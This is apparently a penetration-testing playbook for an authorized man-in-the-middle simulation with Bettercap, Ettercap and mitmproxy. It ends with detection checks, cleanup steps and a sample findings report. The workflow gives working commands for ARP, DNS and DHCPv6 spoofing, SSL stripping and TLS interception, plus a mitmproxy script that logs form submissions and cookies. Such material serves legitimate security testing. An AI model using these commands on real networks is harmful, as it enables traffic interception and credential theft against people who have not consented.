conducting-man-in-the-middle-attack-simulation

Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.

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name	conducting-man-in-the-middle-attack-simulation
description	Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.
domain	cybersecurity
subdomain	network-security
tags	["network-security","mitm","bettercap","ettercap","mitmproxy"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"]

Conducting Man-in-the-Middle Attack Simulation

When to Use

Testing whether applications properly validate TLS certificates and enforce encrypted communications
Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders
Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented
Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks
Training incident response teams to identify and respond to MITM attack indicators

Do not use on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties.

Prerequisites

Written authorization specifying in-scope targets and approved MITM techniques
Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine
Layer 2 access to the same network segment as target hosts
Custom CA certificate for TLS interception testing (generated specifically for the engagement)
Wireshark or tshark for capturing and verifying intercepted traffic
Isolated lab environment or approved production test window with rollback procedures

Workflow

Step 1: Set Up the Attack Environment

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# Disable ICMP redirects
sudo sysctl -w net.ipv4.conf.all.send_redirects=0

# Generate a CA certificate for TLS interception
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
  -subj "/CN=MITM Test CA/O=Security Assessment/C=US"

# Discover hosts on the target network
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"

Step 2: Execute ARP-Based MITM with Bettercap

# Start Bettercap with interactive mode
sudo bettercap -iface eth0

# Enable network probing to discover hosts
> net.probe on

# Display discovered hosts
> net.show


>  arp.spoof.targets 192.168.1.50
>  arp.spoof.fullduplex 


> arp.spoof on


>  http.proxy.sslstrip 
> http.proxy on


>  https.proxy.certificate mitm-ca.crt
>  https.proxy.key mitm-ca.key
> https.proxy on


>  dns.spoof.domains example.com,*.example.com
>  dns.spoof.address 192.168.1.99
> dns.spoof on


>  net.sniff.verbose 
>  net.sniff.filter 
> net.sniff on

# Start mitmproxy as transparent proxy
sudo mitmproxy --mode transparent --set confdir=~/.mitmproxy \
  --set ssl_insecure=true -w mitm_capture.flow

# Configure iptables to redirect traffic through mitmproxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

# Use mitmproxy scripting for automated credential extraction
cat > extract_creds.py << 'PYEOF'
"""mitmproxy script to extract credentials from intercepted traffic."""
from mitmproxy import http
import json

def request(flow: http.HTTPFlow):
    if flow.request.method == "POST":
        content_type = flow.request.headers.get("content-type", "")
        if "form" in content_type or "json" in content_type:
            with open("captured_forms.log", "a") as f:
                f.write(f"URL: {flow.request.pretty_url}\n")
                f.write(f"Data: {flow.request.get_text()}\n")
                f.write("---\n")

def response(flow: http.HTTPFlow):
    # Log authentication cookies
    if "set-cookie" in flow.response.headers:
        with open("captured_cookies.log", "a") as f:
            f.write(f"URL: {flow.request.pretty_url}\n")
            f.write(f"Cookie: {flow.response.headers['set-cookie']}\n")
            f.write("---\n")
PYEOF

sudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow

# DNS spoofing with Ettercap
sudo tee /etc/ettercap/etter.dns << 'EOF'
# Redirect target domain to attacker's web server
example.com      A   192.168.1.99
*.example.com    A   192.168.1.99
www.example.com  A   192.168.1.99
EOF

sudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof /192.168.1.50// /192.168.1.1//

# DHCP spoofing with Bettercap (offer rogue DHCP with attacker as gateway)
sudo bettercap -iface eth0
> set dhcp6.spoof.domains example.com
> dhcp6.spoof on

# Set up a phishing page on the attacker machine
sudo python3 -m http.server 80 --directory /var/www/phishing/

# Verify certificate pinning is working on the target application
# If the app rejects the MITM CA, certificate pinning is effective
# Check the target machine for certificate errors

# Test HSTS enforcement
# If browser refuses HTTP connection after initial HTTPS, HSTS is working
curl -v -k -L http://example.com 2>&1 | grep -i "strict-transport-security"

# Verify IDS detection of ARP spoofing
# Check Snort/Suricata alerts for ARP anomalies
grep -i "arp" /var/log/snort/alert_fast.txt

# Check if switch detected the attack (DAI logs)
# On Cisco switch: show ip arp inspection log

# Test network monitoring tools
# Verify that Zeek generated appropriate notices
cat /opt/zeek/logs/current/notice.log | zeek-cut note msg

# Capture evidence of successful/failed interception
tshark -i eth0 -f "host 192.168.1.50" -w mitm_evidence.pcapng -a duration:300

# Stop all MITM attacks
# In Bettercap:
> arp.spoof off
> http.proxy off
> https.proxy off
> dns.spoof off
> quit

# Restore IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0

# Remove iptables rules
sudo iptables -t nat -F PREROUTING

# Verify ARP tables are restored on target hosts
# The target should re-learn correct MAC addresses via normal ARP

# Force ARP cache refresh (from target machine)
# arp -d 192.168.1.1 && ping -c 1 192.168.1.1

# Remove test CA certificate from any systems where it was installed
# Remove capture files containing sensitive data per engagement agreement

# Generate documentation
echo "MITM Simulation completed at $(date)" >> mitm_report.txt
sha256sum mitm_capture.flow mitm_evidence.pcapng >> mitm_report.txt

Term	Definition
Man-in-the-Middle (MITM)	Attack where the adversary secretly intercepts and potentially alters communication between two parties who believe they are communicating directly
SSL Stripping	Downgrade attack that converts HTTPS connections to HTTP by intercepting the initial HTTP request before the TLS upgrade, bypassing encryption
HSTS (HTTP Strict Transport Security)	Browser security policy that forces HTTPS connections and prevents SSL stripping by caching the requirement for encrypted connections
Certificate Pinning	Application security control that validates server certificates against a pre-configured set of trusted certificates, detecting MITM proxy certificates
ARP Cache Poisoning	Layer 2 attack technique that corrupts the ARP cache of target hosts to redirect traffic through the attacker's machine
Transparent Proxy	Proxy that intercepts traffic without requiring client-side configuration, typically using iptables REDIRECT rules to capture traffic destined for standard ports

## MITM Simulation Report

**Test ID**: MITM-2024-001
**Date**: 2024-03-15 14:00-16:00 UTC
**Target Application**: https://app.internal.corp (10.10.20.50)
**Test Workstation**: 10.10.1.100
**Attacker Machine**: 10.10.1.99

### Control Validation Results

| Control | Status | Details |
|---------|--------|---------|
| HTTPS Redirect | PASS | HTTP requests redirect to HTTPS with 301 |
| HSTS Header | PASS | max-age=31536000; includeSubDomains; preload |
| SSL Stripping (Browser) | BLOCKED | HSTS prevents downgrade in Chrome/Firefox |
| SSL Stripping (Thick Client) | VULNERABLE | Client follows HTTP redirect without HSTS |
| Cert Pinning (Browser) | N/A | Standard CA validation only |
| Cert Pinning (Thick Client) | VULNERABLE | Accepts MITM CA without validation |
| IDS Detection | PASS | Snort generated ARP spoof alert in 12 seconds |

### Recommendations
1. Implement certificate pinning in the thick client (high priority)
2. Add HSTS preload list submission for the domain
3. Enable DAI on access-layer switches for Layer 2 protection
4. Configure application to reject connections from non-pinned certificates